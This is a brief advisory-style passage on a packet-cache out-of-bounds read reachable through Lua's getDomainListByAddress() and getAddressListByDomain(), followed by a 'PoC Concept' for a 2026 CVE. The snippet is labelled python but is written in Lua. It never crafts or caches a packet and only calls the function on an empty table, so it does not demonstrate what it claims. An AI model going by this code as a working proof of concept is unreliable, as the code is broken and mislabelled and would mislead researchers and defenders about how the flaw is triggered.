A cached crafted response can cause an out-of-bounds read if custom Lua code calls getDomainListByAddress() or getAddressListByDomain() on a packet cache.
The following code is for security research and authorized testing only.
python
-- PoC Concept for CVE-2026-33598
-- Triggered by calling vulnerable Lua functions on crafted cache
function checkCache()
-- Assume a crafted packet is cached here
local rule = {}
-- The vulnerable call triggers Out-of-Bounds Read
local result = getDomainListByAddress(rule)
if result then
print("Data read: " .. result)
end
end